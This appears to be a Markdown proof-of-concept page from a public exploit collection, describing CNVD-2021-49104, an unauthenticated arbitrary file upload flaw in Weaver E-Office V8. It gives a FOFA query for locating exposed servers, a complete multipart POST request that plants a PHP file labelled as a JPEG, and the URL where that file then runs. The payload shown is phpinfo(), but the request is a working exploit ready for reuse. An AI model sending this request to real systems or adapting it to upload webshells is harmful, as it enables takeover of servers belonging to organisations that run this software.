Awesome-POC/OA产品漏洞/泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104.md
2022-12-05 11:09:28 +08:00

56 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
## 漏洞描述
在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件攻击者可以通过该漏洞直接获取网站权限
## 漏洞影响
```
泛微OA V8
```
## FOFA
```
app="泛微-EOffice"
```
## 漏洞复现
登录页面
![image-20220520134325360](./images/202205201343420.png)
发送请求包
```SS
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
```
![image-20220520134342019](./images/202205201343075.png)
再访问
```
/images/logo/logo-eoffice.php
```
![image-20220520134356648](./images/202205201343715.png)